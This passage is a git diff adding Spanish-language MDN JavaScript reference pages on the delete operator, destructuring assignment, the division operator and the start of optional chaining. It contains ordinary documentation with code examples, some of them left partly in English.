+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">delete expresión </pre>
+
+<p>donde la <em>expresión</em> debe evaluar una referencia de la propiedad, por ejemplo:</p>
+
+<pre class="syntaxbox">delete <em>objeto.propiedad</em>
+delete <em>objeto</em>['<em>propiedad</em>']
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt><code>objeto</code></dt>
+ <dd>El nombre de un objeto, o una expresión que evalua a un objeto.</dd>
+ <dt><code>propiedad</code></dt>
+ <dd>La propiedad a eliminar.</dd>
+</dl>
+
+<h3 id="Returns" name="Returns">Retorno</h3>
+
+<p>En <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">modo estricto</a> arroja una excepción si la propiedad no es configurable (retorna <code>false</code> en modo no estricto). Retorna <code>true</code> en cualquier otro caso.</p>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Al contrario de lo que se podría pensar, el operador <code>delete</code> no tiene nada que ver con liberar memoria (sólo lo hace de manera indirecta eliminando referencias. Más detalles en la página de<a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Gestion_de_Memoria"> gestión de memoria</a>).</p>
+
+<p>Si la operación <code>delete</code> funciona correctamente, eliminará la propiedad del objeto por completo. Sin embargo, si existe otra propiedad con el mismo nombre en la cadena del <code>prototype </code>del objeto, éste heredará la propiedad del <code>prototype</code>.</p>
+
+<p><code>delete</code> sólo es efectivo en propiedades de objetos. No tiene ningún efecto en variables o en nombres de funciones.<br>
+ Aunque a veces son mal identificados como variables globales, las asignaciones que no especifican al objeto (ejemplo: x = 5), son en realidad propiedades que se asignan al objeto global.</p>
+
+<p><code>delete</code> no puede eliminar ciertas propiedades de los objetos predefinidos (como Object, Array, Math etc). Estos están descritos en ECMAScript 5 y más tarde como no configurables.</p>
+
+<h3 id="Temporal_dead_zone">Temporal dead zone</h3>
+
+<p>The "<a href="/en-US/docs/Web/JavaScript/Reference/Statements/let#Temporal_dead_zone_and_errors_with_let">temporal dead zone"</a> (TDZ), specified in ECMAScript 6 for <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code> and <a href="/en-US/docs/Web/JavaScript/Reference/Statements/let"><code>let</code></a> declarations, also applies to the <code>delete</code> operator. Thus, code like the following will throw a {{jsxref("ReferenceError")}}.</p>
+
+<pre class="brush: js">function foo() {
+  delete x;
+  let x;
+}
+
+function bar() {
+  delete y;
+  const y;
+}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">x = 42;         // crea la propiedad x en el objeto global
+var y = 43;     // crea la propiedad y en el objeto global, y la marca como no configurable
+myobj = {
+  h: 4,
+  k: 5
+};
+
+// x es una propiedad del objeto global y puede ser eliminada
+delete x;       // retorna true
+
+// y no es configurable, por lo tanto no puede ser eliminada
+delete y;       // retorna false
+
+// delete no afecta a ciertas propiedades predefinidas
+delete Math.PI; // retorna false
+
+// las propiedades definidas por el usuario pueden eliminarse
+delete myobj.h; // retorna true
+
+// myobj es una propiedad del objeto global, no una variable,
+// por lo tanto puede eliminarse
+delete myobj;   // retorna true
+
+function f() {
+  var z = 44;
+
+  // delete no afecta a nombres de variables locales
+  delete z;     // retorna false
+}
+</pre>
+
+<p>Si el objeto hereda una propiedad de un prototype, y no tiene la propiedad en sí, la propiedad no puede ser eliminada por referencia al objeto. Aun así, puedes eliminarla directamente en el prototype.</p>
+
+<p>If the object inherits a property from a prototype, and doesn't have the property itself, the property can't be deleted by referencing the object. You can, however, delete it directly on the prototype.</p>
+
+<pre class="brush: js">function Foo(){}
+Foo.prototype.bar = 42;
+var foo = new Foo();
+
+// retorna true, pero sin ningún efecto,
+// ya que bar es una propiedad heredada
+delete foo.bar;
+
+// logs 42, propiedad aún heredada
+console.log(foo.bar);
+
+// elimina la propiedad en el prototype
+delete Foo.prototype.bar;
+
+// logs "undefined", propiedad no heredada
+console.log(foo.bar);           </pre>
+
+<h3 id="Deleting_array_elements" name="Deleting_array_elements">Eliminando elementos de un array</h3>
+
+<p>Cuando eliminas un elemento de un array, la longitud del array no se ve afectada. Esta se mantiene incluso si eliminas el último elemento del array.</p>
+
+<p>Cuando el operador <code>delete</code> elimina un elemento de un array, este elemento ya no está en el array. En el siguiente ejemplo, <code>trees[3]</code> es eliminado mediante <code>delete</code>.</p>
+
+<pre class="brush: js">var trees = ["redwood","bay","cedar","oak","maple"];
+delete trees[3];
+if (3 in trees) {
+    // esto no se ejecuta
+}</pre>
+
+<p>Si quieres que exista un elemento de un array pero que tengo un valor no definido, utiliza el valor <code>undefined</code> en vez del operador <code>delete</code>. En el siguiente ejemplo, <code>trees[3]</code> es asignado con el valor <code>undefined</code>, pero el elemento del array aún existe:</p>
+
+<pre class="brush: js">var trees = ["redwood","bay","cedar","oak","maple"];
+trees[3] = undefined;
+if (3 in trees) {
+    // esto se ejecuta
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Standard</td>
+   <td>Definición inicial. Implementado en JavaScript 1.2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.4.1', 'The delete Operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-delete-operator', 'The delete Operator')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Temporal dead zone</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(36)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Temporal dead zone</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(36)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Cross-browser_issues">Cross-browser issues</h3>
+
+<p>Although ECMAScript makes iteration order of objects implementation-dependent, it may appear that all major browsers support an iteration order based on the earliest added property coming first (at least for properties not on the prototype). However, in the case of Internet Explorer, when one uses <code>delete</code> on a property, some confusing behavior results, preventing other browsers from using simple objects like object literals as ordered associative arrays. In Explorer, while the property <em>value</em> is indeed set to undefined, if one later adds back a property with the same name, the property will be iterated in its <em>old</em> position--not at the end of the iteration sequence as one might expect after having deleted the property and then added it back.</p>
+
+<p>So, if you want to simulate an ordered associative array in a cross-browser environment, you are forced to either use two separate arrays (one for the keys and the other for the values), or build an array of single-property objects, etc.</p>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li><a href="http://perfectionkills.com/understanding-delete/">Análisis en profundidad sobre delete</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/destructuring_assignment/index.html b/files/es/web/javascript/referencia/operadores/destructuring_assignment/index.html
new file mode 100644
index 0000000000..b56e3d3b52
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/destructuring_assignment/index.html
@@ -0,0 +1,442 @@
+---
+title: La desestructuración
+slug: Web/JavaScript/Referencia/Operadores/Destructuring_assignment
+tags:
+  - Característica del lenguaje
+  - Desestructuración
+  - Desestructurar arreglos y objetos anidados
+  - ECMAScript 2015
+  - ES6
+  - JavaScript
+  - Objetos anidados y desestructuración de array
+  - Operador
+translation_of: Web/JavaScript/Reference/Operators/Destructuring_assignment
+---
+<div>{{jsSidebar("Operators", "Operadores")}}</div>
+
+<p>La sintaxis de <strong>desestructuración</strong> es una expresión de JavaScript que permite desempacar valores de arreglos o propiedades de objetos en distintas variables.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-destructuringassignment.html", "taller")}}</div>
+
+<div class="hidden">La fuente de este ejemplo interactivo se almacena en un repositorio de GitHub. Si deseas contribuir al proyecto de ejemplos interactivos, clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos una solicitud de extracción.</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:js notranslate">let a, b, rest;
+[a, b] = [10, 20];
+console.log(a); // 10
+console.log(b); // 20
+
+[a, b, ...rest] = [10, 20, 30, 40, 50];
+console.log(a); // 10
+console.log(b); // 20
+console.log(rest); // [30, 40, 50]
+
+({ a, b } = { a: 10, b: 20 });
+console.log(a); // 10
+console.log(b); // 20
+
+
+// Propuesta de etapa 4 (terminada)
+({a, b, ...rest} = {a: 10, b: 20, c: 30, d: 40});
+console.log(a); // 10
+console.log(b); // 20
+console.log(rest); // {c: 30, d: 40}
+</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Las expresiones de objetos y arreglos literales proporcionan una manera fácil de crear paquetes de datos <em>ad hoc</em>.</p>
+
+<pre class="brush: js notranslate">const x = [1, 2, 3, 4, 5];</pre>
+
+<p>La desestructuración utiliza una sintaxis similar, pero en el lado izquierdo de la asignación para definir qué valores desempacar de la variable origen.</p>
+
+<pre class="brush: js notranslate">const x = [1, 2, 3, 4, 5];
+const [y, z] = x;
+console.log(y); // 1
+console.log(z); // 2
+</pre>
+
+<p>Esta capacidad es similar a las características presentes en lenguajes como Perl y Python.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Desestructuración_de_arreglos">Desestructuración de arreglos</h3>
+
+<h4 id="Asignación_básica_de_variables">Asignación básica de variables</h4>
+
+<pre class="brush: js notranslate">const foo = ['one', 'two', 'three'];
+
+const [red, yellow, green] = foo;
+console.log(red); // "one"
+console.log(yellow); // "two"
+console.log(green); // "three"
+</pre>
+
+<h4 id="Asignación_separada_de_la_declaración">Asignación separada de la declaración</h4>
+
+<p>A una variable se le puede asignar su valor mediante una desestructuración separada de la declaración de la variable.</p>
+
+<pre class="brush:js notranslate">let a, b;
+
+[a, b] = [1, 2];
+console.log(a); // 1
+console.log(b); // 2
+</pre>
+
+<h4 id="Valores_predeterminados">Valores predeterminados</h4>
+
+<p>A una variable se le puede asignar un valor predeterminado, en el caso de que el valor desempacado del arreglo sea <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">let a, b;
+
+[a=5, b=7] = [1];
+console.log(a); // 1
+console.log(b); // 7
+</pre>
+
+<h4 id="Intercambio_de_variables">Intercambio de variables</h4>
+
+<p>Los valores de dos variables se pueden intercambiar en una expresión de desestructuración.</p>
+
+<p>Sin desestructurar la asignación, intercambiar dos valores requiere una variable temporal (o, en algunos lenguajes de bajo nivel, el algoritmo del <a class="external" href="https://en.wikipedia.org/wiki/XOR_swap_algorithm">truco XOR-swap</a>).</p>
+
+<pre class="brush:js notranslate">let a = 1;
+let b = 3;
+
+[a, b] = [b, a];
+console.log(a); // 3
+console.log(b); // 1
+
+const arr = [1,2,3];
+[arr[2], arr[1]] = [arr[1], arr[2]];
+console.log(arr); // [1,3,2]
+
+</pre>
+
+<h4 id="Analizar_un_arreglo_devuelto_por_una_función">Analizar un arreglo devuelto por una función</h4>
+
+<p>Siempre ha sido posible devolver un arreglo desde una función. La desestructuración puede hacer que trabajar con un valor de retorno de arreglo sea más conciso.</p>
+
+<p>En este ejemplo, <code>f()</code> devuelve los valores <code>[1, 2]</code> como su salida, que se puede procesar en una sola línea con desestructuración.</p>
+
+<pre class="brush:js notranslate">function f() {
+  return [1, 2];
+}
+
+let a, b;
+[a, b] = f();
+console.log(a); // 1
+console.log(b); // 2
+</pre>
+
+<h4 id="Ignorar_algunos_valores_devueltos">Ignorar algunos valores devueltos</h4>
+
+<p>Puedes ignorar los valores de retorno que no te interesan:</p>
+
+<pre class="brush:js notranslate">function f() {
+  return [1, 2, 3];
+}
+
+const [a, , b] = f();
+console.log(a); // 1
+console.log(b); // 3
+
+const [c] = f();
+console.log(c); // 1
+</pre>
+
+<p>También puedes ignorar todos los valores devueltos:</p>
+
+<pre class="brush:js notranslate">[,,] = f();
+</pre>
+
+<h4 id="Asignar_el_resto_de_un_arreglo_a_una_variable">Asignar el resto de un arreglo a una variable</h4>
+
+<p>Al desestructurar un arreglo, puedes desempacar y asignar la parte restante a una variable usando el patrón <code>rest</code>o:</p>
+
+<pre class="brush: js notranslate">const [a, ...b] = [1, 2, 3];
+console.log(a); // 1
+console.log(b); // [2, 3]</pre>
+
+<p>Ten en cuenta que se lanzará un {{jsxref("SyntaxError")}} si se usa una coma final en el lado derecho con un elemento <code>rest</code>o:</p>
+
+<pre class="brush: js example-bad notranslate">const [a, ...b,] = [1, 2, 3];
+
+// SyntaxError: el elemento rest no puede tener una coma al final
+// Siempre considera usar el operador rest como último elemento
+</pre>
+
+<h4 id="Desempacar_valores_coincidentes_con_una_expresión_regular">Desempacar valores coincidentes con una expresión regular</h4>
+
+<p>Cuando el método de expresión regular {{jsxref("Global_Objects/RegExp/exec", "exec()", "", 1)}} encuentra una coincidencia, devuelve un arreglo que contiene primero toda la parte coincidente de la cadena y luego las partes de la cadena que coinciden con cada grupo entre paréntesis en la expresión regular. La desestructuración te permite desempacar fácilmente las partes de este arreglo, ignorando la coincidencia completa si no es necesaria.</p>
+
+<pre class="brush:js notranslate">function parseProtocol(url) {
+  const parsedURL = /^(\w+)\:\/\/([^\/]+)\/(.*)$/.exec(url);
+  if (!parsedURL) {
+    return false;
+  }
+  console.log(parsedURL);
+  // ["https://developer.mozilla.org/es/Web/JavaScript",
+      "https", "developer.mozilla.org", "es/Web/JavaScript"]
+
+  const [, protocol, fullhost, fullpath] = parsedURL;
+  return protocol;
+}
+
+console.log(parseProtocol('https://developer.mozilla.org/es/Web/JavaScript'));
+// "https"
+</pre>
+
+<h3 id="Desestructuración_de_objetos">Desestructuración de objetos</h3>
+
+<h4 id="Asignación_básica">Asignación básica</h4>
+
+<pre class="brush: js notranslate">const user = {
+    id: 42,
+    is_verified: true
+};
+
+const {id, is_verified} = user;
+
+console.log(id); // 42
+console.log(is_verified); // true
+</pre>
+
+<h4 id="Asignación_sin_declaración">Asignación sin declaración</h4>
+
+<p>A una variable se le puede asignar su valor con desestructuración separada de su declaración.</p>
+
+<pre class="brush:js notranslate">let a, b;
+
+({a, b} = {a: 1, b: 2});</pre>
+
+<div class="note">
+<p><strong>Notas</strong>: los paréntesis <code>(...)</code> alrededor de la declaración de asignación son obligatorios cuando se usa la desestructuración de un objeto literal sin una declaración.</p>
+
+<p><code>{a, b} = {a: 1, b: 2}</code> no es una sintaxis independiente válida, debido a que <code>{a, b}</code> en el lado izquierdo se considera un bloque y no un objeto literal.</p>
+
+<p>Sin embargo, <code>({a, b} = {a: 1, b: 2})</code> es válido, al igual que <code>const {a, b} = {a: 1, b: 2}</code></p>
+
+<p>tu expresión <code>( ... )</code> debe estar precedida por un punto y coma o se puede usar para ejecutar una función en la línea anterior.</p>
+</div>
+
+<h4 id="Asignar_a_nuevos_nombres_de_variable">Asignar a nuevos nombres de variable</h4>
+
+<p>Una propiedad se puede desempacar de un objeto y asignar a una variable con un nombre diferente al de la propiedad del objeto.</p>
+
+<pre class="brush: js notranslate">const o = {p: 42, q: true};
+const {p: foo, q: bar} = o;
+
+console.log(foo); // 42
+console.log(bar); // true</pre>
+
+<p>Aquí, por ejemplo, <code>const {p: foo} = o</code> toma del objeto <code>o</code> la propiedad llamada <code>p</code> y la asigna a una variable local llamada <code>foo</code>.</p>
+
+<h4 id="Valores_predeterminados_2">Valores predeterminados</h4>
+
+<p>A una variable se le puede asignar un valor predeterminado, en el caso de que el valor desempacado del objeto sea <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">const {a = 10, b = 5} = {a: 3};
+
+console.log(a); // 3
+console.log(b); // 5</pre>
+
+<h4 id="Asignar_nombres_a_nuevas_variables_y_proporcionar_valores_predeterminados">Asignar nombres a nuevas variables y proporcionar valores predeterminados</h4>
+
+<p>Una propiedad puede ser ambas</p>
+
+<ul>
+ <li>Desempacada de un objeto y asignada a una variable con un nombre diferente.</li>
+ <li>Se le asigna un valor predeterminado en caso de que el valor desempacado sea <code>undefined</code>.</li>
+</ul>
+
+<pre class="brush: js notranslate">const {a: aa = 10, b: bb = 5} = {a: 3};
+
+console.log(aa); // 3
+console.log(bb); // 5
+</pre>
+
+<h4 id="Desempacar_campos_de_objetos_pasados_como_parámetro_de_función">Desempacar campos de objetos pasados como parámetro de función</h4>
+
+<pre class="brush:js notranslate">const user = {
+  id: 42,
+  displayName: 'jdoe',
+  fullName: {
+    firstName: 'John',
+    lastName: 'Doe'
+  }
+};
+
+function userId({id}) {
+  return id;
+}
+
+function whois({displayName, fullName: {firstName: name}}) {
+  return `${displayName} es ${name}`;
+}
+
+console.log(userId(user)); // 42
+console.log(whois(user));  // "jdoe es John"</pre>
+
+<p>Esto desempaca el <code>id</code>, <code>displayName</code> y <code>firstName</code> del objeto <code>user</code> y los imprime.</p>
+
+<h4 id="Establecer_el_valor_predeterminado_de_un_parámetro_de_función">Establecer el valor predeterminado de un parámetro de función</h4>
+
+<pre class="brush: js notranslate">function drawChart({size = 'big', coords = {x: 0, y: 0}, radius = 25} = {}) {
+  console.log(size, coords, radius);
+  // haz un dibujo de gráfico
+}
+
+drawChart({
+  coords: {x: 18, y: 30},
+  radius: 30
+});</pre>
+
+<div class="note">
+<p>En la firma de la función para <strong><code>drawChart</code></strong> anterior, el lado izquierdo desestructurado se asigna a un objeto literal vacío en el lado derecho: <code>{size = 'big', coords = {x: 0, y: 0}, radius = 25} = {}</code>. También podrías haber escrito la función sin la asignación del lado derecho. Sin embargo, si omites la asignación del lado derecho, la función buscará al menos un argumento para ser proporcionado cuando se invoca, mientras que en su forma actual, simplemente puedes llamar a <code><strong>drawChart()</strong></code> sin proporcionar ningún parámetro. El diseño actual es útil si deseas poder llamar a la función sin proporcionar ningún parámetro, el otro puede ser útil cuando deseas asegurarte de que se pase un objeto a la función.</p>
+</div>
+
+<h4 id="Desestructuración_de_arreglos_y_objetos_anidados">Desestructuración de arreglos y objetos anidados</h4>
+
+<pre class="brush:js notranslate">const metadata = {
+  title: 'Scratchpad',
+  translations: [
+    {
+      locale: 'de',
+      localization_tags: [],
+      last_edit: '2020-08-29T08:43:37',
+      url: '/de/docs/Tools/Scratchpad',
+      title: 'JavaScript-Umgebung'
+    }
+  ],
+  url: '/es/docs/Tools/Scratchpad'
+};
+
+let {
+  title: englishTitle, // renombrar
+  translations: [
+    {
+       title: localeTitle, // renombrar
+    },
+  ],
+} = metadata;
+
+console.log(englishTitle); // "Scratchpad"
+console.log(localeTitle);  // "JavaScript-Umgebung"</pre>
+
+<h4 id="Iteración_for...of_y_desestructuración">Iteración "<code>for...of</code>" y desestructuración</h4>
+
+<pre class="brush: js notranslate">const people = [
+  {
+    name: 'Mike Smith',
+    family: {
+      mother: 'Jane Smith',
+      father: 'Harry Smith',
+      sister: 'Samantha Smith'
+    },
+    age: 35
+  },
+  {
+    name: 'Tom Jones',
+    family: {
+      mother: 'Norah Jones',
+      father: 'Richard Jones',
+      brother: 'Howard Jones'
+    },
+    age: 25
+  }
+];
+
+for (const {name: n, family: {father: f}} of people) {
+  console.log('Nombre: ' + n + ', Padre: ' + f);
+}
+
+// "Nombre: Mike Smith, Padre: Harry Smith"
+// "Nombre: Tom Jones, Padre: Richard Jones"
+</pre>
+
+<h4 id="Nombres_de_propiedades_de_objetos_calculados_y_desestructuración">Nombres de propiedades de objetos calculados y desestructuración</h4>
+
+<p>Los nombres de propiedad calculados, como en un {{jsxref("Operators/Object_initializer", "Objeto literal", "#Computed_property_names", 1)}}, se pueden usar con la desestructuración.</p>
+
+<pre class="brush: js notranslate">let key = 'z';
+let {[key]: foo} = {z: 'bar'};
+
+console.log(foo); // "bar"
+</pre>
+
+<h4 id="Rest_en_la_desestructuración_de_objetos"><code>Rest</code> en la desestructuración de objetos</h4>
+
+<p>La propuesta <a class="external external-icon" href="https://github.com/tc39/proposal-object-rest-spread">Propiedades <code>rest</code>/propagación para ECMAScript</a> (etapa 4) agrega la sintaxis {{jsxref("Functions/rest_parameters", "rest", "", 1)}} para desestructurar. Las propiedades de <code>rest</code> recopilan las claves de propiedades enumerables restantes que aún no han sido seleccionadas por el patrón de desestructuración.</p>
+
+<pre class="brush: js notranslate">let {a, b, ...rest} = {a: 10, b: 20, c: 30, d: 40}
+a; // 10
+b; // 20
+rest; // { c: 30, d: 40 }</pre>
+
+<h4 id="Identificador_de_JavaScript_no_válido_como_nombre_de_propiedad">Identificador de JavaScript no válido como nombre de propiedad</h4>
+
+<p>La desestructuración se puede utilizar con nombres de propiedad que no son {{Glossary("Identifier", "identificadores")}} válidos en JavaScript proporcionando un identificador alternativo que sea válido.</p>
+
+<pre class="brush: js notranslate">const foo = { 'fizz-buzz': true };
+const { 'fizz-buzz': fizzBuzz } = foo;
+
+console.log(fizzBuzz); // "true"
+</pre>
+
+<h4 id="Desestructuración_combinada_de_arreglos_y_objetos">Desestructuración combinada de arreglos y objetos</h4>
+
+<p>La desestructuración de arreglos y objetos se puede combinar. Supongamos que deseas manipular el tercer elemento del siguiente arreglo <code>props</code>, y luego deseas la propiedad <code>name</code> en el objeto, puedes hacer lo siguiente:</p>
+
+<pre class="brush: js notranslate">const props = [
+  { id: 1, name: 'Fizz'},
+  { id: 2, name: 'Buzz'},
+  { id: 3, name: 'FizzBuzz'}
+];
+
+const [,, { name }] = props;
+
+console.log(name); // "FizzBuzz"
+</pre>
+
+<h4 id="Se_busca_la_cadena_de_prototipos_al_desestructurar_el_objeto.">Se busca la cadena de prototipos al desestructurar el objeto.</h4>
+
+<p>Al deconstruir un objeto, si no se accede a una propiedad en sí misma, continuará buscando a lo largo de la cadena de prototipos.</p>
+
+<pre class="brush: js notranslate">let obj = {self: '123'};
+obj.__proto__.prot = '456';
+const {self, prot} = obj;
+// self "123"
+// prot "456" (Acceso a la cadena de prototipos)</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-destructuring-assignment', 'Desestructuración de asignación')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.operators.destructuring")}}</p>
+</div>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{jsxref("Operators/Assignment_Operators", "Operadores de asignación", "", 1)}}</li>
+ <li><a href="https://hacks.mozilla.org/2015/05/es6-in-depth-destructuring/">"ES6 en profundidad: Desestructuración" en hacks.mozilla.org</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/division/index.html b/files/es/web/javascript/referencia/operadores/division/index.html
new file mode 100644
index 0000000000..d29816e37a
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/division/index.html
@@ -0,0 +1,77 @@
+---
+title: Division (/)
+slug: Web/JavaScript/Referencia/Operadores/Division
+tags:
+  - JS
+  - JavaScript
+  - Operador de Division
+  - Operadores
+  - Referências
+translation_of: Web/JavaScript/Reference/Operators/Division
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>El operador de división (<code>/</code>) produce el cociente de sus operandos donde el operando izquierdo es el dividendo y el operando derecho es el divisor.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-division.html")}}</div>
+
+<div></div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><strong>Operador:</strong> <var>x</var> / <var>y</var>
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Division_basica">Division basica</h3>
+
+<pre class="brush: js notranslate">1 / 2              // 0.5
+
+Math.floor(3 / 2) // 1
+
+1.0 / 2.0         // 0.5
+</pre>
+
+<h3 id="Division_por_cero">Division por cero</h3>
+
+<pre class="brush: js notranslate">2.0 / 0     // Retorna Infinity
+
+2.0 / 0.0   // Retorna Infinity, Dado que 0.0 === 0
+
+2.0 / -0.0  // Retorna -Infinity</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-multiplicative-operators', 'Division operator')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+
+
+<p>{{Compat("javascript.operators.division")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Addition">Addition operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Subtraction">Subtraction operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Multiplication">Multiplication operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Remainder">Remainder operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Exponentiation">Exponentiation operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Increment">Increment operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Decrement">Decrement operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Unary_negation">Unary negation operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Unary_plus">Unary plus operator</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/encadenamiento_opcional/index.html b/files/es/web/javascript/referencia/operadores/encadenamiento_opcional/index.html
new file mode 100644
index 0000000000..06ccb5a999
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/encadenamiento_opcional/index.html
@@ -0,0 +1,187 @@
+---
+title: Encadenamiento opcional
+slug: Web/JavaScript/Referencia/Operadores/Encadenamiento_opcional
+translation_of: Web/JavaScript/Reference/Operators/Optional_chaining
+---
+<div>{{JSSidebar("Operators")}}</div>
+
+<p>El operador de <strong>encadenamiento opcional</strong> <strong><code>?.</code></strong> permite leer el valor de una propiedad ubicada dentro de una cadena de objetos conectados sin tener que validar expresamente que cada referencia en la cadena sea válida. <span class="seoSummary">El operador <code>?.</code> funciona de manera similar a el operador de encadenamiento <code>.</code>, excepto que en lugar de causar un error si una referencia es <a href="/en-US/docs/Glossary/nullish">casi-nula</a> ({{JSxRef("null")}} o {{JSxRef("undefined")}}), la expresión hace una evaluación de circuito corto con un valor de retorno de <code>undefined</code>.</span> Cuando se usa con llamadas a funciones, devuelve <code>undefined</code> si la función dada no existe.</p>
+
+<p>Esto da como resultado expresiones más cortas y simples cuando se accede a propiedades encadenadas dónde existe la posibilidad de que falte una referencia. También puede ser útil al explorar el contenido de un objeto cuando no hay una garantía conocida de qué propiedades se requieren.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-optionalchainingoperator.html", "taller")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>obj</var>?.<var>prop</var>
+<var>obj</var>?.[<var>expr</var>]
+<em>arr</em>?.[<var>index</var>]
+<var>func</var>?.(<var>args</var>)
+</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El operador de encadenamiento opcional proporciona una forma de simplificar el acceso a los valores a través de objetos conectados cuando es posible que una referencia o función sea <code>undefined</code> o <code>null</code>.</p>
+
